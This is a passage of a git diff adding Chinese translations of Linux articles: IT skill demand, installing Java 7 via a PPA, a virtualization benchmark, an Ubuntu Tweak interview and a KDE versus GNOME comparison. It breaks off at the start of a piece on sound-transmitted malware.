demand.md new file mode 100644 index 0000000000..7c7529ad8d --- /dev/null +++ b/published/201312/Insights into top 3 IT skill groups in highest demand.md @@ -0,0 +1,63 @@ +洞悉需求最高的三大IT技能组 +================================================================================ +![](http://www.linuxcareer.com/images/linux_it_skills_watch.png) + +据[IT技能清单][1]调查报告结果显示,雇主所需的Linux人才应具备的IT技能可分成相对独立的组群。本文将着重介绍在上一个季度(2013年7月-9月)需求度最高的3组IT技能,这些技能在包括美国在内的被选国家招聘广告中都有所提及,同时结果表明这三组技能可以和Linux相关的工作领域需求相匹配。 + +报告指出在上一季度具有嵌入式开发人员相关技能的人才是Linux专业雇主亟需的一类。排在第二位和第三位涉及的技能领域分别对应虚拟化技术和LAMP管理。本文将基于这三类工作清单涉及到的技能需求加以讨论,并对分析后的三组技能间的依赖结构关系加以洞悉。 + +> 如果您尚未阅读[IT技能清单][1],我们强烈建议您在阅读以下内容前先熟悉这篇文章。它详细阐明了本次研究中用到的方法,本文也是基于[IT技能清单][1]的材料才得以进一步分析。 + +### 2013年8月IT技能分类更新 ### + +![](http://www.linuxcareer.com/images/percentage_of_linux_job_ads_linked_with_corresponding_skill_groups.png) + +在IT技能清单这篇文章中,LinuxCareer.com分析了2013年5月到6月底的Linux工作清单,我们在这个基础上将2013年7月到9月底这个时间段的更新也加至分类分析中。10类相关的IT技能在Linux招聘广告中出现的比率列于如上[条形图][1]中。[IT分类][2]图表表明如何基于分类设计出此条形图。我们可以看到,IT技能需求前三组为:占据27%的Linux就业市场份额的嵌入式开发人员需求,占20%就业份额的虚拟化技术工程师和占12%Linux就业份额的LAMP管理员。文章接下来的三部分将围绕这三项IT技能需求组及三者的相互关系展开详细的讨论。例如,MySQL和PHP这两项技能有强关联性,通常雇主都会一起考虑。另外要指出的是,LinuxCareer.com的这项调查里掌握Linux的基础知识已默认存在于任一招聘需求中。 + +### 嵌入式开发人员及程序员 ### + +需求最高的第一类技能组是针对嵌入式开发人员及程序员的。如下的[依赖图][2]详细阐明了技能间的关联关系,尤其表明了哪几项技能更可能同时出现在Linux招聘需求中。例如,嵌入式开发非常需要C/C++/C#相关技能,而这些语言要么在图表下部的深色矩形区域,要么在图表上部的对应圆形阴影中聚集。 + +总体来说,这组技能可以进一步细分成如下三类: + +1. **Android, Embedded, C/C++/C# 和 Java**。如果您准备在嵌入式领域发展,这些是你需要掌握的核心技能,而C/C++/C#或Java掌握其一便可满足雇主需求,因为Java是基于部分C/C++/C#性能的扩展性语言。如果您阅读了8月的IT技能表,就会发现,Java以9513分居于编程语言的榜首,而C/C++/C#是5403分。如果您尚在犹豫是掌握C/C++/C#还是Java,从技能表得分看起来Java应该是更好的选择。但根据如下图表显示,C/C++/C#似乎在嵌入式领域的招聘需求中更受欢迎。总结可得尽管Java在IT技能表中有更高的得分,但在嵌入式开发职位上掌握C/C++/C#会比Java更有用。 + +2. **Python, Perl 和 Bash**。这些是对脚本编程语言技能的补充。对Perl和Python语言的需求经常会在招聘中同时出现,当然,也可以理解成这两种语言技能都是需要掌握的。 + +3. **Git, Subversion 和 Jira**。这些软件知识会应用到源码管理、调试和项目管理中,同时了解这几个方面的知识对相关项目的编程大有裨益。目前,主流开源项目和大量合作项目都在用类似的软件管理他们的源码。 + +![](http://www.linuxcareer.com/images/embedded_devices_development_skills_demand_dependency.png) + +### 涉及数据仓储及管理的虚拟化技术工程师 ### + +目前第二大需求技能组是如下[依赖图][2]所示与虚拟化技术工程师相关的技能。这一组可进一步细分成两部分,第一部分是Redhat, VMware, vSphere, ESX/ESXi, XenServer 和 Citrix,这些技能对寻求虚拟化技术工程师的工作很重要;第二部分是同Unix系统、数据仓储及管理相关的技能。同时这两部分是紧密联系的。显然VMware和ESX/ESXi及vSphere是相关的,因为ESX/ESXi是VMware虚拟机下提供的虚拟产品,而vSphere是VMware虚拟机的云端虚拟操作系统。Redhat和VMware、Citrix产品被分到同一部分同样有其原因。这里Solaris和AIX具有密切关系的原因可以理解为它们都是专有的Unix系统,掌握其一便可。 + +![](http://www.linuxcareer.com/images/virtualization_engineering_skills_demand_dependency.png) + +### LAMP管理员 ### + +最后,第三大技能组是如下[依赖图][2]中显示雇主需求的LAMP管理员应具备的技能。LAMP是Linux、Apache、MySQL和PHP的简称,所有这四项内容是作为一名LAMP管理员所要了解的核心。这是一组相对来说小规模却会引领你至在Linux路途中发展更远的技能。实际上,PHP和MySQL的密切关系表明这些技能中的任一项都不能脱离其它技能来单独掌握。 + +![](http://www.linuxcareer.com/images/lamp_administrator_skills_demand_dependency.png) + +### 总结 ### + +本文基于就业能力和Linux专业人员需求技能分组阐明了两点。第一点是对经常出现的IT技能通过集群分析划出了10类IT技能组;第二点是基于Linux工作需求与相应技能组的对应结果,嵌入式程序员在Linux招聘需求比率最高,第二及第三技能需求比率最高的领域分别对应虚拟化技术工程师及LAMP管理员领域。这三大技能组即为上一季度分析出的Linux技能需求的核心。 + +### 参考 ### + +\[1] Percentage of Linux job ads linked with corresponding skill groups created by [GNU R][3]. Relevant package: graphics. + +\[2] Dependency charts created by [GNU R][3]. Relevant package: corrgram. + +-------------------------------------------------------------------------------- + +via: http://www.linuxcareer.com/insights-into-top-3-it-skills-groups-in-highest-demand + +译者:[icybreaker](https://github.com/icybreaker) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxcareer.com/it-skill-sets +[2]:http://www.linuxcareer.com/images/Linux_jobs_classification_jul_oct_2013.png +[3]:http://www.r-project.org/ diff --git "a/published/201312/Install Oracle Java 7 in Elementary OS \342\200\230Luna\342\200\231 Via PPA.md" "b/published/201312/Install Oracle Java 7 in Elementary OS \342\200\230Luna\342\200\231 Via PPA.md" new file mode 100644 index 0000000000..0c378a19fe --- /dev/null +++ "b/published/201312/Install Oracle Java 7 in Elementary OS \342\200\230Luna\342\200\231 Via PPA.md" @@ -0,0 +1,89 @@ +使用PPA在Elementary OS 'Luna'上安装Oracle Java 7 +================================================================================ + +**问题**: 我该如何在 Elemetary OS Luna 上安装Oracle Java 7? + +**回答**: 在 Elementary OS Luna 安装 Java 7 的步骤如下: +由于Elementary OS是基于Ubuntu,所以我们允许使用具有多种Java包的**WEPUD8 PPA**。 + +1. 打开终端。 + +2. 运行以下指令添加Java的PPA到你的软件仓: + + $ sudo add-apt-repository ppa:webupd8team/java + + You are about to add the following PPA to your system: + Oracle Java (JDK) Installer (automatically downloads and installs Oracle JDK6 / JDK7 / JDK8). There are no actual Java files in this PPA. More info: http://www.webupd8.org/2012/01/install-oracle-java-jdk-7-in-ubuntu-via.html + Debian installation instructions: http://www.webupd8.org/2012/06/how-to-install-oracle-java-7-in-debian.html + More info: https://launchpad.net/~webupd8team/+archive/java + Press [ENTER] to continue or ctrl-c to cancel adding it + +3. 按回车继续 + + gpg: keyring `/tmp/tmpB5WwDG/secring.gpg' created + gpg: keyring `/tmp/tmpB5WwDG/pubring.gpg' created + gpg: requesting key EEA14886 from hkp server keyserver.ubuntu.com + gpg: /tmp/tmpB5WwDG/trustdb.gpg: trustdb created + gpg: key EEA14886: public key "Launchpad VLC" imported + gpg: Total number processed: 1 + gpg: imported: 1 (RSA: 1) + OK + +4. 现在更新你的系统 + + $ sudo apt-get update + +5. 运行以下命令安装Java 7: + + $ sudo apt-get install oracle-java7-installer + + [sudo] password for enock: + Reading package lists... Done + Building dependency tree + Reading state information... Done + The following packages were automatically installed and are no longer required: + gir1.2-gstreamer-0.10 libilmbase6 libmagickcore4 libmagickwand4 libcdt4 + libmagickcore4-extra liblqr-1-0 imagemagick-common libpathplan4 libopenexr6 + rsync netpbm libgvc5 libnetpbm10 libgraph4 + Use 'apt-get autoremove' to remove them. + The following extra packages will be installed: + gsfonts-x11 java-common + Suggested packages: + default-jre equivs binfmt-support visualvm ttf-baekmuk ttf-unfonts + ttf-unfonts-core ttf-kochi-gothic ttf-sazanami-gothic ttf-kochi-mincho + ttf-sazanami-mincho ttf-arphic-uming + The following NEW packages will be installed: + gsfonts-x11 java-common oracle-java7-installer + 0 upgraded, 3 newly installed, 0 to remove and 196 not upgraded. + Need to get 88.5 kB of archives. + After this operation, 473 kB of additional disk space will be used. + Do you want to continue [Y/n]? + +6. 输入代表Yes的**Y**以及回车键继续安装。 + +7. 在安装过程中,你需要同意条款才能继续。选择**OK**。 + + ![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask1.png) + +8. 然后选择**Yes**继续。 + + ![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask2.png) + +9. 现在请等待安装包的下载与自动安装: + + ![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-Downloading.png) + +10. 安装完成。你可以在终端上查看Java版本: + + $ java -version + java version "1.7.0_45" + Java(TM) SE Runtime Environment (build 1.7.0_45-b18) + Java HotSpot(TM) 64-Bit Server VM (build 24.45-b08, mixed mode) + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-oracle-java-7-elementary-os-luna-via-ppa/ + +译者:[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201312/Intel Haswell Linux Virtualization- KVM vs. Xen vs. VirtualBox.md b/published/201312/Intel Haswell Linux Virtualization- KVM vs. Xen vs. VirtualBox.md new file mode 100644 index 0000000000..f1d9c6ad7f --- /dev/null +++ b/published/201312/Intel Haswell Linux Virtualization- KVM vs. Xen vs. VirtualBox.md @@ -0,0 +1,76 @@ +KVM,Xen与VirtualBox在Intel Haswell上的Linux虚拟化性能比较 +============================================================== + +现在我们做的是[Intel Haswell][1]的虚拟化基准测试。我们在Intel酷睿i7 4770K的“Haswell”处理器上使用搭载了最新软件组件的Fedora 19,来进行KVM,Xen和VirtualBox的基准测试。 + +自从上个月推出Haswell以来,我们已经发布了许多和这款全新的英特尔处理器相关的基准测试,但我们直到这篇文章发布前,一直没有涵盖虚拟化方面的性能测试。这里,启用了英特尔硬件虚拟化后,将在一个纯净的Fedora 19 的64位操作系统上,分别安装KVM,Xen和Virtualbox,并进行比较。 + +目前Fedora 19拥有搭载GCC 4.8.1的Linux 3.9.8版本内核,Mesa 9.2.0开发库和一个EXT4文件系统。所有的虚拟化组件都从Fedora 19的仓库中获取的,包括QEMU 1.4.2,Xen 4.2.2和libvirt/virt-manager组件。Xen和KVM的虚拟化通过virt-manager来建立。VirtualBox 4.2.16则是通过VirtualBox.org获取并安装在Fedora 19中。 + +![](http://www.phoronix.net/image.php?id=intel_haswell_virtualization&image=intel_haswell_virtualization_med) + +这个英特尔酷睿i7 4770K机器拥有16GB的内存和240GB的OCZ Vertex 3 固态硬盘。在测试中,每一个虚拟机能够使用全部八个逻辑核心(四个物理核心加上超线程)、16GB内存中的12GB以及16GB的虚拟磁盘。 + +在采用英特尔酷睿i7 “Haswell”处理器的Linux 3.9版本内核的Fedora 19上安装的KVM,Xen和VirtualBox的性能也和在没有任何形式的虚拟化或其它抽象层上运行基准测试的“裸机(Bare Metal)”的性能进行了对比。VMWare的产品没有在这篇文章里被测试,因为它们的EULA特性限制了这种公开基准测试(尽管VMware在过去可以让我们正常地做这样的基准测试),并且它们的试用软件只能限制运行在四核CPU上。但以后的另外一篇文章会比较下在其它硬件上XEN/KVM/VMware的性能。 + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=9083341&p=2) + +全部的Linux虚拟化基准测试采用完全自动化和可重复的方式进行处理,使用开源软件[Phoronix Test Suite][3]并由[OpenBenchmarking.org][4]支持。在使用虚拟磁盘而且Xen/KVM都没有一个可靠的访问主机驱动或GPU的方法以使用3D功能的情况下,这篇文章里的大部分基准测试都是集中在不同Linux虚拟化方法计算性能开销上。 + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=16f6601&p=2) + +磁盘测试在这里并不是虚拟化测试的一个重点,因为只有一个虚拟磁盘被主机的文件系统使用。然而,当把这三种Linux虚拟化方法与裸机结果进行比较时,运行在Linux 3.9内核上的KVM性能最好,其次是Xen。Oracle的Virtual仅仅跑出了主机上PostMark邮件服务器性能的66%,而KVM跑出了性能的96%,Xen是83%。 + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=ee1f01f&p=2) + +对于Dolfyn计算流体动力学的工作量,当运行在KVM或Xen上时,和裸机的运行结果相比并没有任何重大的变化。然而,VirtualBox则是明显变慢了。 + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=1a54755&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=b3c948c&p=2) + +FFTE和HMMer的结果和Dolfyn类似:Xen和KVM用很小的开销获得很好的性能,但Oracle的VirtualBox则慢得多。 + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=78137b2&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=0a735b7&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=8d2ce17&p=2) + +当John The Ripper这个破解密码的程序在VirtualBox中运行时,则直接崩溃了。 + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=6bd26cc&p=2) + +运行TTSIOD渲染器时,在Linux 3.9 内核的Fedora 19上运行的Xen虚拟化方法获得了它的第一次性能比拼的胜利。 + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=4a440fd&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=79113d7&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=505359a&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=1593a32&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=0f84676&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=3cde78a&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=fc3d96e&p=2) + +![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=3e91cb0&p=2) + +总之,运行在搭载英特尔酷睿i7 4770K处理器Fedora 19上的Xen和KVM虚拟化技术工作良好。这些虚拟化方法在Haswell处理器上的性能开销是最小的。当Xen和KVM在这款全新的英特尔处理器上运行良好的时候,Oracle的VirtualBox(最新版本,v4.2.16)相对慢得多。虽然VirtualBox的一个优点是支持客户机3D加速,但这会在未来的一篇Phoronix文章中再次进行测试。而把Haswell和前几代的英特尔处理器和AMD处理器比较不同虚拟化方法的性能开销也会在不久之后在Phoronix上进行测试。 + +-------------------------------------------------------------------------------- + +via: http://www.phoronix.com/scan.php?page=article&item=intel_haswell_virtualization + +译者:[KayGuoWhu](http://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.phoronix.com/scan.php?page=search&q=Haswell +[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTM5MzU +[3]:http://www.phoronix-test-suite.com/ +[4]:http://openbenchmarking.org/ + diff --git a/published/201312/Interview with Ding Zhou of Ubuntu Tweak.md b/published/201312/Interview with Ding Zhou of Ubuntu Tweak.md new file mode 100644 index 0000000000..7fa931a9db --- /dev/null +++ b/published/201312/Interview with Ding Zhou of Ubuntu Tweak.md @@ -0,0 +1,94 @@ +专访Ubuntu Tweak的作者周鼎 +================================================================================ + +[Ubuntu tweak][1] 是一款知名度很高的应用程序软件,Ubuntu 用户可以用它来调整系统的性能、功能等各个细节。项目的创始人,周鼎又名 Tualatrix Chou ,正与我们分享 Ubuntu Tweak 的特性、使用感觉以及它跟 Canonical 的关系,并且勾勒了项目的未来计划蓝图。享受吧! + +**你什么时候开始使用 Linux 的,并基于什么使你决定开发 Ubuntu tweak ?** + +我开始使用 Linux 是在2006年底,那时刚开始我的大学生活。当时我正在学 C 编程语言,一个朋友建议说要学习编程的话 Linux 是最好的平台环境,所以我就开始了我的 Linux 生涯,是从 Fedora Core 6 开始的。但用了仅仅只有一周的时间,我就换成 Ubuntu 6.10,因为Ubuntu在中国有更好的社区,也有更好更快的源库/镜像。我立马就爱上了 Ubuntu,就一周时间,就从 Windows 环境完全切换到 Ubuntu 环境。 + +在苦乐参半的半年使用时间后,我意识到 Ubuntu 对中国用户来说不是太友好,因为全新安装系统后,用户必须得自己配置字体、输入法以及其它很多很多设置。所以,我决定开发出一款应用程序来帮助新手,让他们很简单的就可以对系统做相应配置。 + +因此在2007年7月,我就开始开发 Ubuntu Tweak,刚开始的时候,仅仅提供了汉语版本的,但很快就考虑了 Ubuntu Tweak 的国际版本,并且在2007年9月份就发布了首个国际版本。 + +**Ubuntu tweak 已经是非常成功的项目了。很多 Ubuntu 用户用它来调整系统的性能、功能等各个细节。能给我们谈论下 Ubuntu Tweak 能做些什么吗?** + +![](http://180016988.r.cdn77.net/wp-content/uploads/2012/03/tualatrix1.jpg) + +Ubuntu Tweak 可以用来切换桌面图标的显示方式、设置字体、启用/禁用多用户切换功能以及登陆的标识(logo)等等。 + +在最新的 Ubuntu Tweak 0.6版本中,你也可以调整你的 Unity 桌面以及关机功能。 + +你也能使用 Ubuntu Tweak 来清理系统的垃圾以释放空间和使系统保持干净。 + +**Canonical 在他们的默认发布源中不考虑加入 Ubuntu Tweak。这意味着什么?这对那些没有经验,但又想要使用你的应用程序来调整他们的系统的用户来说,存在某些风险吗?** + +对的。因为在以前的 Ubuntu Tweak 发布版本中,为流行的 PPA 都提供了可用源,但我不能保证所有的 PPA 都是安全的,所以 Ubuntu Tweak 会有一些安全风险。 + +如你们所见,从0.6版本后 Ubuntu Tweak 就已经移除了源中心(Source Center)。但请不要混淆“Ubuntu默认包含”和“加入源仓库”这两个概念。Ubuntu Tweak 首先应该要被加入通用资源仓库,然后才能被 Ubuntu 默认包含。 + +从错误报告和用户反馈来看,Ubuntu Tweak 已经比老版本更加稳定及更易使用。 + +**你有收到来自 Canonical 和 Ubuntu 开发者的支持或有跟他们合作(不论什么)的事项吗,是哪些方面的?** + +当然,我得到 Canonical 公司的一些帮助,他们试着帮我把 Ubuntu Tweak 放入源仓库。这工作现在仍然在进行。 + +也得到社区的很多热心帮助,他们帮我翻译、设计、测试、报告错误,甚至提交代码分支。 + +**开发 Ubuntu Tweak 的有多少人?** + +如果你说的是“代码开发者”,就仅仅我一个,但我们有很多设计人员:logo 是M.Sharp设计的,Kevin Chou 帮助设计了 Ubuntu Tweak 的用户界面(UI)原型,就是0.6版本的样子。现在 Jeonkwan Chan 正在帮我重新美化用户界面,将会用在0.7版本上。任何人,只要愿意就可以加入到 Ubuntu Tweak 的开发中来:) + +**在Ubuntu11.04版本中当 Unity 出现时,许多 Ubuntu 用户抱怨其可配置性不好,您对这个怎么看的?这个特殊的桌面环境能有些什么多适用性的配置能力呢?** + +我喜欢桌面系统的可配置高适应性,这是 Linux 系统的优点,不是吗? + +例如,我不喜欢 Unity Launcher 的自动隐藏功能,所以我设置让他不会隐藏。 + +事实上,Unity 是可配置的,仅仅是它缺少 CompizConfig 设置管理器,所以你不能把 Unity Launcher 放到桌面底部或右面,这对左撇子来说很不友好。哈哈,开玩笑的。 + +如大家所见,Ubuntu 12.04已经增加了隐藏/显示切换功能,Launcher 的大小在系统设置中也可以自定义设置。我认为 Unity 将会有更多的可配置功能。 + +**一般来说,你认为 Canonical 公司开发 Unity 桌面环境是正确的决策吗?他们与 Gnome 开发者之间有合作争议,这有些是不可避免的吗?** + +是的,对于 Canonical 公司来说,我觉得他们的决策很正确。回顾三年前,当 Ubuntu 首次引入基于 GNOME Panel 的Indicator ,它的设计就要比原来直接的 GNOME Panel 小程序更优雅。但 Canonical 开发者和 GNOME 开发者之间合作有些问题,因为他们从来没有着眼于 GNOME。直到 GNOME 3 的面世,情况才有所好转,它的 GNOME Shell 已经从 GNOME Panel 移出来了,并且 GNOME Shell 的面板已经和上面提到的 Indicator 用的是同一套设计方式。如果他们之间共用相同的 API 的话,桌面Linux应该会更好用。 + +所以来自于公司、社区、GNOME 桌面等的不同的关于用户界面的见解,综合起来最终就形成了 Unity。 + +我认为这是好事。至少,到目前为至,比起 GNOME Shell 来说,我更喜欢 Unity。 + +**虽然你正在开发的是一款 Ubuntu 系统专用的程序,但我假设你为了使用更多的高级用户功能,会使用其它的发行版本。你会选择哪些发行版本呢?为什么?** + +当然,我已经玩过 Fedora、Arch、 OpenSUSE,特别是 Gentoo,我已经整整使用了一年。它是我第二喜欢的 Linux 发行系统,因为它拥有一个最先进的包管理系统。 + +但现在我仅仅只使用 Ubuntu 的桌面版本和服务版,也使用 Mac OS X,很多的设计灵感就来自于它 :) + +**Ubuntu Tweak 能被优化或做几个分支或者改变一点点,以便能在其它的 linux 发行版本比如 Fedora、OpenSue 或者 Debian 上使用吗?有做成统一的一个叫做“Linux Tweak”的应用程序,用户不管选择什么样的发布版本或桌面环境都可以用这种想法吗?不知道是否可行?** + +可以的,要让 Ubuntu Tweak 在其它发行版本中运行非常容易。它是模块化的,很轻松的就可以改造(hack)。 + +2008年的时候,我就发布了一版 Fedora 的“Ubuntu Tweak for Fedora”,但最终我放弃维护这个版本了,因为我主要关注 Ubuntu 版本的,所以没有那么多精力。 + +**那 Ubuntu Tweak 的未来计划是什么?也许 Canonical 公司会内嵌进系统,然后把它做为发布版本默认的工具或者他们会基于他们自己的系统调整工具来使用它。您认为呢?您的下一步计划会是什么的呢?** + +Ubuntu Tweak 的未来当然会一片光明。哈哈。 + +我已经开始实现把 Ubuntu Tweak 加入软件中心这个工作了。如果用户能从软件中心直接安装 Ubuntu Tweak,它会更容易。 + +现在我正在开发0.7版本的,它将更美观,并且与 Unity 桌面的集成度更好,也加入了一些很有用的新功能。我想使Ubuntu Tweak 在 Unity 桌面环境下尽可能的发挥作用。 + +跟随着 Ubuntu 12.04的发布,我也计划发布新的版本,希望大家喜欢 :) + +还有一件事要透露下,我已经加入 Canonical 北京公司,负责处理 OEM 的事情。虽然 Ubuntu Tweak 仍是一个个人项目,我还没有参与进 Ubuntu 的开发任务,但有可能话我会试着加入开发团队 :) + +**太伟大了!谢谢 Tualatrix。** + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/interview-with-ding-zhou-of-ubuntu-tweak/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/wxy) + +[1]:http://ubuntu-tweak.com/ diff --git a/published/201312/KDE vs GNOME- Settings, Apps, Widgets.md b/published/201312/KDE vs GNOME- Settings, Apps, Widgets.md new file mode 100644 index 0000000000..9dbad50a87 --- /dev/null +++ b/published/201312/KDE vs GNOME- Settings, Apps, Widgets.md @@ -0,0 +1,81 @@ +KDE vs GNOME: 设置,应用和小工具 +===================================== + +当提到桌面环境时,对你来说选择一个合适的可能是个值得深思的个人问题。在这篇文章中,我会比较Gnome和KDE这两种最为流行的Linux桌面环境之间的不同之处,也会通过对比它们的优缺点来探究每一种桌面环境所能提供的功能。 + +###第一印象 + +第一眼看到桌面,你可能会觉得KDE看起来比Gnome更光亮,并提供一个更友好的科技外观。此外,如果你习惯于Windows环境,屏幕底部的菜单和按钮布局会让你感觉KDE看起来更熟悉一些。你可以很容易地找到Kmenu,启动程序以及仅仅点击几下鼠标就能找到文档。 + +KDE的另一个重要和熟悉的好处是方便地在每个打开的文档、图片和应用中使用最小化和关闭按钮。对于那些习惯其它平台的人来说,这些特性可能会认为是理所当然的。但是考虑到对于像Gnome这样不再提供一个真正的最小化选项的桌面来说,这里是值得给予KDE支持的。 + +第一次加载进入Gnome 3,如果你来自另一个平台,它的桌面可能被认为是很奇怪的。像经典的Gnome一样,你想访问的文档和工具并不位于屏幕的底部。让新手们感到更陌生的是,关闭已经打开的窗口的方法是如此的“与众不同”。然而,站在支持Gnome3的角度上,我发现只要你习惯了这种新的做事方式,会觉得这是一段相当愉快的经历。我所知道的已经试用过Gnome3的新用户们也普遍地感觉良好。 + +###小工具和扩展 + +随着我们深入了解Gnome和KDE提供的扩展和小工具,这两种桌面环境之间的差别会越来越大。尽管它们都能提供你可以启动的附件以增强桌面体验,但是它们在如何处理扩展功能上的分界并不相同。 + +KDE采用一种有趣的方式,即你可以桌面小部件划分到称为“活动区”的分组中。这使得你可以创建一个包含一系列桌面小部件的活动区,以处理特定的工作流。 + +相反地,Gnome按照另一种方式定义活动区。Gnome使它的活动区更加基于任务和应用,而不是以小部件为中心。例如,如果我正在使用多个应用程序,切换到Gnome活动区视图允许你能够可视化地、及时地访问每一个任务。 + +###设置你的桌面 + +虽然在通过GUI提供充足的设置方面Gnome做得越来越好,但KDE依然是这个领域的王者。(译注:对于这一点,不同的人有不同的看法。) + +使用KDE,你可以通过设置去控制几乎桌面的每一个方面。一些诸如[OpenSUSE][1]Linux发行版,通过紧密地把它们的工具 ([YaST][2]) 集成到KDE的设置环境中,在这方面做得更好。 + +随着Gnome3之后的Gnome桌面更新,我发现的最显著的地方是KDE正在通过易于使用的设置来提供更加强大的功能。Gnome往往把特定于应用程序的设置放在一个容易找到的每个应用程序的地方。 + +但是KDE倾向于为应用程序提供更细粒度的控制。我最喜欢的例子之一是[Kontact][3] vs [Evolution][4]。它们分别是Gnome和KDE上很强大的个人信息管理软件。但不同的是,Kontact是一套附带为每个应用程序绑定一套控制的应用程序,而Evolution只是拥有有限控制的单个应用程序。在其它特定于桌面的应用中,[AmaroK][5] vs [Rhythmbox][6] 也是如此。 + +###文件管理 + +当涉及到为你的桌面寻找合适的文件管理器时,Gnome和KDE提供的默认选择都能为你完成这项工作。[Nautilus][7]是Gnome的默认文件管理器,而KDE提供[Dolphin][8] 作为它的默认文件管理器。 + +除此之外,我发现Nautilus为Gnome用户提供一个光鲜的、易用的文件管理工具,不会使Linux的新用户们不知所措。然而,回到KDE上,对于那些想要深入控制的人,Dolphin是一个高度可配置的,而不是适合新手的文件管理方案。 + +如果简单地观察每个文件管理器的侧边栏,你会注意到Nautilus提供最直接的导航方式。但是,KDE的Dolphin在诸如上一次使用文件的日期和其它相关选项的特性上做得更好。 + +如果你是高级的Linux用户,你很可能发现自己被Dolphin吸引,因为它提供了最多的选择和控制。对于那些不想通过复杂的控制导航文件的人,Nautilus在简单性上更胜一筹。 + +###桌面应用 + +经常在Linux爱好者中引发分歧的一个话题是,宣称某个桌面可以提供更好的默认应用。其实,这就是Gnome和KDE当前所处的情况。 + +我在这个方面的发现是:在一些方面,Gnome不费吹灰之力就能胜出。例如,GIMP、Evince和Pidegin相对它们在KDE上的同类来说更好用。而以我之见,Kmail则是另一种应用程序,它带给KDE的新用户们一个坏印象。像这类的应用过于复杂,并且在一般情况下,使用起来难以捉摸。 + +在另一方面,也有一些有价值的地方来支持KDE。[Calligra][9] 对比 [AbiWord][10] 对于KDE来说是轻松取胜的,因为[LibreOffice][11] 并不是一个“真正的”Gnome特有的应用。因为它是很多Linux发行版的默认套件,而不是桌面环境的默认选择。 + +最后,Linux最神奇的地方之一是你可以安装GTK或者Qt库,享受最符合你需求的应用程序带来的好处(译注:即使用另外一种桌面的应用)。对我自己,我发现在大部分情况下,Gnome的默认应用程序是明显的赢家。 + +###结语 + +如果我发现自己被困在一座岛上,只有一种可用的桌面环境,那它必须是Gnome。虽然我喜欢KDE的某些方面胜过Gnome,但总体上我觉得Gnome可以花更少的功夫去持续使用。我常常发现使用KDE搞砸了一堆配置,甚至更糟糕,譬如奇怪的警告声称我的声卡找不到。在Gnome环境下,我从没有遇到这些问题。 + +因为我珍惜我的时间和理智,所以我会持续推荐使用Gnome而不是KDE;同时在适当的时候建议一些KDE应用。对于任何声称KDE更容易使用的人,我想说对于我而言,从长远来看简单地学习Gnome的做事方法给我带来了更大的稳定性。 + +照片由[Shutterstock][12]提供。 + +--- + +via: http://www.datamation.com/open-source/kde-vs-gnome-settings-apps-widgets-1.html + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy) + + +[1]:http://www.opensuse.org/en/ +[2]:http://en.opensuse.org/YaST_Software_Management +[3]:http://userbase.kde.org/Kontact +[4]:https://projects.gnome.org/evolution/ +[5]:http://amarok.kde.org/ +[6]:https://projects.gnome.org/rhythmbox/ +[7]:http://en.wikipedia.org/wiki/Nautilus_%28file_manager%29 +[8]:http://en.wikipedia.org/wiki/Dolphin_%28file_manager%29 +[9]:http://www.calligra-suite.org/ +[10]:http://www.abisource.com/ +[11]:http://www.libreoffice.org/ +[12]:http://www.shutterstock.com/pic-137314787/stock-photo-information-concept-golden-gears-on-digital-background-d-render.html + diff --git a/published/201312/Linux Is the Only Way to Protect Against Potential Sound-Transmitted Malware.md b/published/201312/Linux Is the Only Way to Protect Against Potential Sound-Transmitted Malware.md new file mode 100644 index 0000000000..3126d185bd --- /dev/null +++ b/published/201312/Linux Is the Only Way to Protect Against Potential Sound-Transmitted Malware.md @@ -0,0 +1,29 @@ +Linux是抵御“声传恶意软件”的唯一方法 +================================================================================ +**科学家已经开发出一种使用声波实现自我传播的新型恶意软件,貌似Linux是目前唯一能够抵御该类攻击的操作系统** + +来自德国的科学家Michael Hanspach和Michael 